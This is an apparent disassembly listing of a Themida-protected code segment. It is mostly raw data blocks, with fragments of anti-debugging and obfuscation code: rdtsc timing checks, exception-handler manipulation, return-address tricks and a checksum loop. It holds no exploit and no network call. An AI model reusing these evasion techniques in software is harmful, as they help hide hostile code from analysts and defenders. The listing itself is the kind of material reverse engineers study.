		dd 150424h, 56460000h, 66FFC1C3h, 34E9D98Bh, 0F000000h
		dd 138Dh, 0EE900h, 0CC1D0000h, 7C3C9B46h, 0AD605496h, 84E62DA5h
		dd 110C3050h, 1114400h,	3010E8C1h, 21144h, 5803114Ch, 7504E983h
		dd 5036EBE7h, 110430h, 0C1011164h, 443010E8h, 64000211h
		dd 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h
		dd 28580211h, 30011164h, 0E9831104h, 0EBE77504h, 81C08B00h
		dd 67F301DBh, 0AE95Fh, 0DE410000h, 8C545263h, 0A3E72844h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0E7C35747h
		dd 12EA722Ch, 83F98BADh, 0D11D39BDh, 850F0307h,	41Ch, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0BCC35747h, 0C3BA8B0Dh
		dd 0D88B66B3h, 0EA5ABD83h, 0F0007D4h, 3EB84h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1504h, 0C3574700h
		dd 0BD8B4812h, 7D11CDDh, 0EA5AB5FFh, 0BD8B07D4h, 7D10065h
		dd 2EB195FFh, 6A07D1h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 140424h, 57470000h, 0DB811BC3h, 17BA5F75h, 4EB58BF8h
		dd 6A07D4EAh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 18042444h, 41000000h, 3CABC351h, 0C778596Ch,	1000106h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1804h
		dd 0C3554500h, 404BEBB2h, 3DC7810Fh, 96406D46h,	810Fh
		dd 96500000h, 1FAD9529h, 0B5FF07D1h, 7D4EA5Ah, 1C6DBD03h
		dd 95FF07D1h, 7D131A5h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Dh, 0D4C35343h, 0B1F676E3h, 0CD22884Ch, 0DD8D09EBh
		dd 8B07D128h, 0D4EA4EB5h, 52006A07h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 9531D721h
		dd 7D12EDDh, 2B31858Bh,	10E907D1h, 66000000h, 5D31E8E4h
		dd 54AEE76Dh, 0ABEEEFB8h, 89AE781Eh, 0C486h, 0BD895600h
		dd 7D101C1h, 51958B5Fh,	8907D11Bh, 0D119F98Dh, 4C28307h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0EBC35242h
		dd 9C9F2F35h, 322D9529h, 508907D1h, 55006A20h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1704h,	0C3554500h, 0A12009E5h
		dd 32D59D8Bh, 858D07D1h, 7D4FEE5h, 34658D29h, 868907D1h
		dd 0B8h, 2EF1BD8Bh, 6A07D1h, 0B5FFDE8Bh, 7D4EA5Ah, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0E9C35646h, 8E9BD8Bh
		dd 95FF07D1h, 7D11DE9h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ch, 38C35242h, 73AC3D85h,	5DBA25A2h, 1E9ABB66h
		dd 0FB8B6653h, 0DB7965Bh, 0E8569650h, 13h, 0CA3D8313h
		dd 38156E4Fh, 71E4B594h, 0E95F1169h, 0B35192D1h, 0FF5F5F76h
		dd 0D4EA5AB5h, 55006A07h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1604h, 0C3554500h, 0FFA49202h, 0D12D9D95h
		dd 13E96007h, 38000000h, 0D7179C77h, 0C9AE829Eh, 9B5CB4ADh
		dd 0D48170C2h, 0BD31AD47h, 7D11C49h, 9BD8361h, 7D128h
		dd 3C840Fh, 0FB8B0000h,	19C5BD8Bh, 0B39607D1h, 525050E3h
		dd 4A395FBBh, 8B310F10h, 96585AF8h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 14h, 0D3C35646h,	18FD9D8Bh, 0B5FF07D1h
		dd 7D4EA5Ah, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 17h, 0CEC35242h, 0FFF2E5D8h
		dd 0D132B595h, 57006A07h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1504h, 0C3574700h, 0B5890D6Dh, 7D1250Dh
		dd 0EA5AB5FFh, 6A07D4h,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 180424h, 53430000h, 9B6C16C3h, 95FF4832h, 7D12709h
		dd 71958B60h, 6107D128h, 0FC1BD83h, 0F0207D1h, 7C84h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 3075A310h, 0BD89E673h, 7D1105Dh, 886E78BFh, 25858B2Fh
		dd 6A07D11Eh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 15042444h, 43000000h, 0D9A1C353h, 2F099529h,	0C607D1h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1804h
		dd 0C3514100h, 68FE37Bh, 0CEBB660Dh, 0CD85C756h, 7D122h
		dd 53000000h, 5FFE8B66h, 0FFF34EE9h, 56006AFFh,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 7FC4CFE2h
		dd 0CE917h, 75D60000h, 0C59AAE95h, 43C04D20h, 0C18B6F00h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0C1C35646h
		dd 0FE9h, 1BC1C900h, 14622C3h, 0CED08C80h, 0EA1419FBh
		dd 1361858Dh, 6A07D1h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 170424h, 51410000h, 7475FFC3h, 3860F4Ch, 0F000000h
		dd 6650FBB7h, 489DE8Bh,	55006A24h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1D04h, 0C3554500h, 0F0F9966Bh, 52AE580h
		dd 85896CE6h, 7D11881h,	6A006Ah, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 160424h, 57470000h, 26287DC3h, 6A006Ah, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 3F7845C3h, 3057F702h, 0BF0F4025h, 0D8858DDAh, 6A07D61Bh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 19042444h
		dd 43000000h, 2CE2C353h, 0BE4AA8DFh, 0F98D8B60h, 8B07D11Eh
		dd 0D118D59Dh, 0C0836107h, 51006A05h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1704h,	0C3514100h, 724BED4Eh
		dd 91BD8Bh, 0CE907D1h, 58000000h, 9C601D85h, 58AE83AEh
		dd 50BBD292h, 6A240489h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 17042444h, 43000000h, 0D54EC353h,	6A8652h
		dd 80FFB70Fh, 6ABAE3h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 16h, 35C35646h, 0DA8B07A2h, 1DE195FFh, 6A07D1h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 8D96C7C3h, 0D4D5668Dh, 0FFFA8B07h, 999589D1h, 8307D128h
		dd 0D11715BDh, 850F0107h, 8Eh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ah, 13C35747h, 0BD7A226Fh, 0BD8B620Dh
		dd 7D12D85h, 6A026Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 190424h, 51410000h, 78FB3FC3h, 0FC3652E5h, 0F525090h
		dd 5AFE8B31h, 0E9605058h, 0Ah, 0FB96EDDBh, 82CDE301h, 9061B4BBh
		dd 2AB9BD8Bh, 95FF07D1h, 7D11DE9h, 0C06909BBh, 6E86065h
		dd 0ED000000h, 71B5EB44h, 5B0CB7E8h, 0C28B6650h, 0F7E96159h
		dd 0E800000Ch, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 7D61BE2h
		pusha
		jmp	loc_5D8233
; ---------------------------------------------------------------------------
		adc	al, 2
		scasb
		dec	ecx
		fmul	st, st


loc_5D8233:				; CODE XREF: Themida_:005D8228j
		mov	ecx, [ebp+7D11ECDh]
		popa
		xor	[ebp+7D107C9h],	esi
		lea	eax, [ebp+7D4BC77h]
		call	sub_5D8258
		jge	short near ptr loc_5D8263+4
		retn
; ---------------------------------------------------------------------------
		dw 9F53h
		db 90h
		db 10h,	8, 77h
		dd 0C3D20A6Ch

; =============== S U B	R O U T	I N E =======================================



sub_5D8258	proc near		; CODE XREF: Themida_:005D8246p
		push	edi
		mov	bl, 80h
		pop	edi
		pop	edi
		nop
		call	sub_5D8272


loc_5D8263:				; CODE XREF: Themida_:005D824Bj
		and	dh, [edi-35915F2h]
		adc	ebp, ecx
		dec	ebp
		outsd
		cmp	al, 0F0h
		insd
		pop	esp
		inc	edx
sub_5D8258	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_5D8272	proc near		; CODE XREF: sub_5D8258+6p
		jmp	sub_5D828A
sub_5D8272	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0E1B352D0h, 0DF9FE8D2h, 42FD3E65h, 0DB6E7DA4h
		db 6Ch,	0EEh

; =============== S U B	R O U T	I N E =======================================



sub_5D828A	proc near		; CODE XREF: sub_5D8272j
		pop	ebx
		push	eax
		push	esi
		call	sub_5D8298
		mov	ebx, 3C8876EDh
		pop	ebx
sub_5D828A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5D8298	proc near		; CODE XREF: sub_5D828A+3p
		push	eax
		push	edx
		rdtsc
		pop	edx
		pop	eax
		pop	ebx
		pop	edi
		nop
		mov	edi, [ebp+7D10C65h]
		push	large dword ptr	fs:0
		and	ebx, 54FC7204h
		mov	large fs:0, esp
		push	0
		push	ebx
		call	sub_5D82C6
		and	[ebx-3Dh], bl
sub_5D8298	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5D82C6	proc near		; CODE XREF: sub_5D8298+26p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 19h
		inc	ebx
		push	ebx
		retn
sub_5D82C6	endp

; ---------------------------------------------------------------------------
		xor	[eax-60h], esp
		pusha
		cmp	[eax+3395B589h], eax
		rol	dword ptr [edi], 1
		jmp	loc_5D82EC
; ---------------------------------------------------------------------------
		db 49h
		dd 0F4917A8Eh
; ---------------------------------------------------------------------------


loc_5D82EC:				; CODE XREF: Themida_:005D82E2j
		inc	dword ptr [ebp+7D12921h]
		push	0
		push	ecx
		call	sub_5D82FD
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D82FD	proc near		; CODE XREF: Themida_:005D82F5p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 14h
		inc	ecx
		push	ecx
		retn
sub_5D82FD	endp

; ---------------------------------------------------------------------------
		mov	esi, 1799BD8Bh
		rol	dword ptr [edi], 1
		push	0FFFFFFFFh
		jmp	loc_5D8325
; ---------------------------------------------------------------------------
		db 94h
		dd 0FC61D750h, 67F2DB4h
		db 7Dh
; ---------------------------------------------------------------------------


loc_5D8325:				; CODE XREF: Themida_:005D8316j
		sub	bh, 0CAh
		push	dword ptr [ebp+7D11C75h]
		jmp	loc_5D8338
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		dd 360B78F1h
; ---------------------------------------------------------------------------


loc_5D8338:				; CODE XREF: Themida_:005D832Ej
		call	dword ptr [ebp+7D1141Dh]
		jmp	loc_5D844D
; ---------------------------------------------------------------------------
		db 89h
		dd 0D128EDB5h, 6600B007h, 0E69A62BBh, 15BD8970h, 0E407D123h
		dd 0E7BF6671h, 0F613C7Dh, 0E883h, 0A19D8B00h, 0F07D12Bh
		dd 9D89C8B6h, 7D11DF1h,	6BAh, 0D98B6600h, 0CE8C18Bh, 0A4000000h
		dd 0B56504A0h, 0FBF09A4Bh, 601F72EBh, 0AE8D58Ah, 47000000h
		dd 8EFF8EB4h, 71026990h, 5F61595Fh, 0E904E8C1h,	0Dh, 5303682Fh
		dd 0B3F489DFh, 7123FAC3h, 0E2F766EEh, 2B2BDB80h, 0FA8B66C8h
		dd 8960D18Bh, 0D12C89BDh, 7AE96107h, 8B000000h,	0D122B5BDh
		dd 0BD9D2307h, 8B07D10Ch, 485h,	0A58D8900h, 8307D133h
		dd 0BD8B07C0h, 7D12F09h, 0F00C083h, 0D03BD9BFh,	6830Fh
		dd 0E9FC0000h, 45h, 0FFFF8D8Bh,	8B60FFFFh, 0D119F985h
		dd 519D8907h, 6107D124h, 0F01E183h, 2884h, 499D8B00h, 8307D11Fh
		dd 0FFFFFFA5h, 9D8BFEFFh, 7D10C51h, 9589FA8Bh, 4, 0F0037FBBh
		dd 0F9B70F52h, 0E9h
		db 0
; ---------------------------------------------------------------------------


loc_5D844D:				; CODE XREF: Themida_:005D833Ej
		lea	esi, [ebp+7D59C39h]
		mov	edi, [ebp+7D10C75h]
		push	0
		mov	[ebp+7D11EADh],	ebx
		call	dword ptr [ebp+7D10055h]
		cmc
		jb	loc_5D8472
		mov	di, 2C28h


loc_5D8472:				; CODE XREF: Themida_:005D8468j
		mov	ecx, 0E42h
		push	0
		push	ebx
		call	sub_5D8482
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D8482	proc near		; CODE XREF: Themida_:005D847Ap

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 14h
		inc	ebx
		push	ebx
		retn
sub_5D8482	endp

; ---------------------------------------------------------------------------
		inc	edi
		and	ecx, 0FFFFFFFCh
		xor	[ebp+7D12115h],	esi
		cld
		push	ecx
		push	ebx
		mov	bl, al
		pop	edi
		pop	edi
		sub	eax, eax
		mov	[ebp+7D1198Dh],	eax
		mov	edx, 0
		push	0
		push	ecx
		call	sub_5D84BB
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D84BB	proc near		; CODE XREF: Themida_:005D84B3p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 14h
		inc	ecx
		push	ecx
		retn
sub_5D84BB	endp

; ---------------------------------------------------------------------------
		aas


loc_5D84CC:				; CODE XREF: Themida_:005D84D6j
		lodsd
		xor	eax, edx
		shr	eax, 1
		add	edx, eax
		sub	ecx, 4
		jnz	short loc_5D84CC
		push	0
		push	edx
		call	sub_5D84E3
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D84E3	proc near		; CODE XREF: Themida_:005D84DBp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Bh
		inc	edx
		push	edx
		retn
sub_5D84E3	endp

; ---------------------------------------------------------------------------
		db 64h
		dd 1BBF6927h, 0FFACCD1h, 186h, 9D0BF900h, 7D12B45h, 58A0Fh
		dd 81660000h, 0F2F3EC3h, 880DD9B7h, 0F000000h, 58Eh, 8F7FBF00h
		dd 958B12D4h, 7D11B51h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 17h, 0BAC35040h, 8915F8D9h, 0D1347DB5h, 9024BB07h
		dd 8D8B10FAh, 7D12D55h,	8BC28B50h, 8BC10318h, 0D1C18B18h
		dd 8BC203E8h, 0BE95818h, 92000000h, 16753170h, 8EBE17CDh
		dd 0FE9D561h, 4000000h,	9570F6A7h, 0C864287Bh, 9C6EA445h
		dd 5E96F3Ch, 0EB000000h, 0D8B31B91h, 1BC5BD83h,	0F0007D1h
		dd 9484h, 0F559BF00h, 0B84E2Eh,	6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 8104C353h
		dd 5BFC11EFh, 0A8D8D4Ah, 6A07D14Dh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 8B38C351h
		dd 0D43EAA47h, 0B9BD335Ah, 0E807D132h, 14h, 0EA82423Bh
		dd 2E1EE9C2h, 0FDBA451Eh, 6E2B94E6h, 0E866C7B9h, 106DBD8Bh
		dd 0FF5B07D1h, 13E9E1h,	0E12D0000h, 0A398D404h,	0BCE695FDh
		dd 0D50B2DC8h, 7889BB8Dh, 39BD83F3h, 7D11Dh, 450840Fh
		dd 0BD830000h, 7D11D39h, 5E840F01h, 0E9000004h,	5, 0A043A039h
		dd 0A1BD0B6Dh, 8307D12Dh, 0D11D39BDh, 860F0307h, 40Bh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 7EC35747h
		dd 8F34435h, 0F24A240h,	58Fh, 0BF0F5200h, 9D8B5BDBh, 7D113EDh
		dd 2960DA8Bh, 0D11E719Dh, 0D98C6607h, 84D9D8Bh,	0F98B07D1h
		dd 3104E180h, 0D1312995h, 0FC90A07h, 15584h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 0B95DA55Dh, 2E624A14h, 858B5A3Ah, 7D128F5h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 6FC35747h, 66DFCAADh
		dd 8B0Fh, 0BD8B0000h, 7D11D51h,	31CD8533h, 51F907D1h, 2BD98589h
		dd 905B07D1h, 0A0BF6651h, 8B505F82h, 6A90D8h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 0F8F42C3h
		dd 0BFCF83C5h, 5830Fh, 81660000h, 6AB9B7EBh, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1A04h, 0C3554500h
		dd 9AEA8A67h, 68B6B379h, 255BCEEDh, 9E9h, 9ACFB800h, 0B80286ACh
		dd 3481469Dh, 44CD1224h, 0D99D8B25h, 0FF07D110h, 0D12B1595h
		dd 52006A07h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1804h
		dd 0C3524200h, 0DAE57026h, 0B0DB8161h, 8975F2F6h, 0D4EA5A85h
		dd 0F3816607h, 8166109Dh, 0E93431EBh, 23Bh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0EC35545h, 392F7F4Ch
		dd 81288F25h, 0D483CDE7h, 0DBBA603Ah, 8B01D0D7h, 858B61F2h
		dd 7D4EA52h, 2A51BD89h,	0B52907D1h, 7D10575h, 1800C7h
		dd 0BD8B0000h, 7D11525h, 0EA56B58Bh, 858B07D4h,	7D10C9Dh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 2FC35242h
		dd 6A0689h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
		dd 57470000h, 1D503AC3h, 858B215Dh, 7D128F5h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 6DC35141h, 3656A724h
		dd 8A0F0C9Bh, 0
; ---------------------------------------------------------------------------
		mov	[ebp+7D105F5h],	edi
		mov	[esi+4], eax
		push	0
		push	edi
		call	sub_5D88CC
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D88CC	proc near		; CODE XREF: Themida_:005D88C4p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 15h
		inc	edi
		push	edi
		retn
sub_5D88CC	endp

; ---------------------------------------------------------------------------
		dd 0DE848E1h, 45000000h, 23E42FF4h, 0B957863Bh,	326C5F6Eh
		dd 34919D8Bh, 815B07D1h, 0E8DD5FDFh, 5250503Ch,	5250310Fh
		dd 880Fh, 310F0000h, 0FE50BF66h, 585A585Ah, 6A243489h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 19042444h
		dd 47000000h, 99D4C357h, 2BB05BE9h, 0B5FFD88Bh,	7D4EA52h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 6C35040h
		dd 43E54B0Eh, 0A180CC57h, 0EBDF8166h, 28786852h, 0DE8DB95h
		dd 0C000000h, 7BF4B10Eh, 0A47A9329h, 0BB7D0B75h, 815FFA8Bh
		dd 0DB872404h, 9D8B2489h, 7D113F1h, 0EA5A858Dh,	6A07D4h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
		dd 0A2B80C3h, 267DACA7h, 19C58509h, 505007D1h, 5F526052h
		dd 0F61DE8Bh, 5AFA8A31h, 24048958h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 1Bh, 7AC35646h, 0C67210h, 60A89688h
		dd 32B18D2Bh, 0CFB507D1h, 1595FF61h, 6A07D12Bh,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
		dd 0DF31C357h, 3969E907h, 0DBD8B0Fh, 6107D120h,	0D8B0Fh
		dd 89600000h, 0D12BA1B5h, 0F1816607h, 0C7615FBEh, 0D11D3985h
		dd 307h, 0CCBB6600h, 5ABD8344h,	7D4EAh,	25840Fh, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 5CC845C3h, 1BE9F56Fh, 50000000h, 110C30h, 0C1011144h
		dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h,	305036EBh
		dd 64001104h, 0E8C10111h, 11443010h, 11640002h,	0E9835803h
		dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h
		dd 4300111h, 4E98311h, 0EBE775h, 6AC08Bh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 190424h, 50400000h, 28E237C3h
		dd 0F38AD85h, 1087h, 0A830F00h,	0E9000000h, 5, 85232E9Dh
		dd 39BD83F6h, 307D11Dh,	3A0850Fh, 0DDB70000h, 0EA5ABD83h
		dd 0F0007D4h, 39184h, 0DE900h, 0DB500000h, 0A8461B3Eh
		dd 0A698615Bh, 0FFC4BBF2h, 0D4EA5AB5h, 55006A07h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h
		dd 9453EA9Dh, 0B5DF6F66h, 0FEBF0F3Dh, 2EB195FFh, 6A07D1h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 606515C3h, 11E9h, 26FA9C00h,	3F5E839Eh, 0E9A13368h
		dd 8AB8C973h, 958B50C5h, 7D105C1h, 0AFDB8161h, 8B4B9A74h
		dd 0D4EA4EB5h, 0CDBD8B07h, 0C707D105h, 1000106h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1604h, 0C3504000h
		dd 8BDFB23Ah, 0D1211DBDh, 0DBB70F07h, 24348950h, 2098D01h
		dd 0B5FF07D1h, 7D4EA5Ah, 0C458529h, 95FF07D1h, 7D131A5h
		dd 4EB58BFCh, 3107D4EAh, 0D1201DB5h, 31858B07h,	6A07D12Bh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1B042444h
		dd 43000000h, 6C70C353h, 0CBDAC72Dh, 9D093106h,	7D128A9h
		dd 0C48689h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1B0424h, 52420000h, 71FDA7C3h, 57CF8BA0h, 51958BB8h
		dd 0E907D11Bh, 0Bh, 70937F60h, 0F7784DE8h, 83CFA2ADh, 6A04C2h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 3E0E1C3h, 2E27530Bh,	13E865h, 9FAA0000h, 59E41DA1h
		dd 5502A500h, 94C60EDh,	156A1499h, 0BD01509Ch, 7D108FDh
		dd 0EBB5F5Bh, 89682C3Eh, 6A2050h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 170424h, 51410000h, 0CB8596C3h, 195891Bh
		dd 8D07D12Dh, 0D4FEE585h, 8ABF6007h, 97A3860h, 0D1172985h
		dd 86896107h, 0B8h, 1D69B529h, 0BD8B07D1h, 7D1259Dh, 8166006Ah
		dd 0F362CE3h, 48Eh, 0DFBF6600h,	5AB5FF65h, 0E807D4EAh
		dd 9, 38AEA3B3h, 67F3B147h, 11BB6697h, 95FF5F5Bh, 7D11DE9h
		dd 15259589h, 0B75007D1h, 24348940h, 0FFFEBF0Fh, 0D4EA5AB5h
		dd 9ABB6607h, 9D95FF76h, 6A07D12Dh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 18042444h, 40000000h, 8371C350h
		dd 0F16A3DBh, 68Bh, 31BD2300h, 8307D102h, 0D12809BDh, 840F0007h
		dd 2Ah,	0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h
		dd 3AC35545h, 7A1EDDD1h, 49B35081h, 80243489h, 0B5FFE1E3h
		dd 7D4EA5Ah, 0B595FFF5h, 6A07D132h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 0B181C352h
		dd 6B4E41E5h, 0CE99B91h, 44000000h, 0F0E5A6E5h,	1181F75Ch
		dd 0FF3F7DA7h, 0D4EA5AB5h, 56006A07h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1D04h,	0C3564600h, 0AC008A85h
		dd 7BBEFAC4h, 0BF0FB4FBh, 995FFFAh, 8907D127h, 0D11AED8Dh
		dd 0C1BD8307h, 207D10Fh, 3E840Fh, 0B5890000h, 7D10775h
		dd 1E25858Bh, 6A07D1h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 170424h, 52420000h, 2861CBC3h, 0C61Ah, 0BE9h, 39F45F00h
		dd 7B08446Ch, 5F3270DDh, 22CD85C7h, 7D1h, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 0CBA55BC3h, 59E9B67Bh, 6AFFFFF4h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 8865C355h
		dd 430456C5h, 85895360h, 7D1187Dh, 1850159h, 6107D125h
		dd 6AC18Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
		dd 53430000h, 22A780C3h, 1F499531h, 858D07D1h, 7D11361h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0A2C35545h
		dd 627FBDCh, 66500955h,	489D88Bh, 5D858924h, 6A07D129h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1904h
		dd 0C3554500h, 412E8BB1h, 0B52923C1h, 7D113EDh,	6A006Ah
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 0E1BF49C3h, 8B189DB3h, 0BC858DFAh, 6A07D62Ah, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h
		dd 16CBC353h, 5C083CBh,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 14h, 78C35343h, 89F8BF0Fh,	0D12B1995h, 11E95007h
		dd 0C9000000h, 36B25B43h, 64432DFh, 9952C624h, 2E95F5CFh
		dd 56240489h, 0C9CF8166h, 6A5B65h, 23A5BD8Bh, 6A07D1h
		dd 2A799D03h, 95FF07D1h, 7D11DE1h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 17h, 6FC35747h, 8DFAD41Eh, 0D4D5668Dh
		dd 7E807h, 0DD030000h, 1F9A08h,	61BD8B2Bh, 5B07D118h, 8B66D1FFh
		dd 15BD83FEh, 107D117h,	98850Fh, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 140424h, 52420000h, 0D38164C3h
		dd 6B494BCCh, 9D8B026Ah, 7D130C9h, 0BDF8166h, 890F9030h
		dd 16h,	11E9h, 2E2C4300h, 5CA1FC9Ch, 3AE77976h,	4755BC29h
		dd 8B50E204h, 0E95290F9h, 0Bh, 9BB23EE0h, 0D4142C8h, 5FC2D53Eh
		dd 1DE995FFh, 6A07D1h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 180424h, 57470000h, 0D179E8C3h, 0BB669782h, 880F6B19h
		dd 6, 11319589h, 29E907D1h, 0E800000Eh,	0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 7D62AC6h
		jmp	loc_5D9115
; ---------------------------------------------------------------------------
		dd 6C3AD078h
; ---------------------------------------------------------------------------
		aas


loc_5D9115:				; CODE XREF: Themida_:005D910Bj
		lea	eax, [ebp+7D4BC77h]
		mov	[ebp+7D10019h],	edi
		nop
		push	eax
		push	eax
		push	edx
		jmp	loc_5D9139
; ---------------------------------------------------------------------------
		dw 0F00Ch
		dd 0C306BD1Dh, 0D1F5F31Fh, 287F6F06h
; ---------------------------------------------------------------------------
		cwde


loc_5D9139:				; CODE XREF: Themida_:005D9125j
		rdtsc
		pop	edx
		pop	eax
		nop
		mov	ebx, [ebp+7D1298Dh]
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		mov	edi, [ebp+7D11725h]
		inc	dword ptr [ebp+7D12921h]
		xor	[ebp+7D122B5h],	ebx
		mov	[ebp+7D12E7Dh],	edx
		push	0FFFFFFFFh
		push	0
		push	esi
		call	sub_5D9177
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D9177	proc near		; CODE XREF: Themida_:005D916Fp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ch
		inc	esi
		push	esi
		retn
sub_5D9177	endp

; ---------------------------------------------------------------------------
		pop	es
		cmp	byte ptr [ebp-5E278BBh], 0FDh
		cmpsb
		adc	di, 0C166h
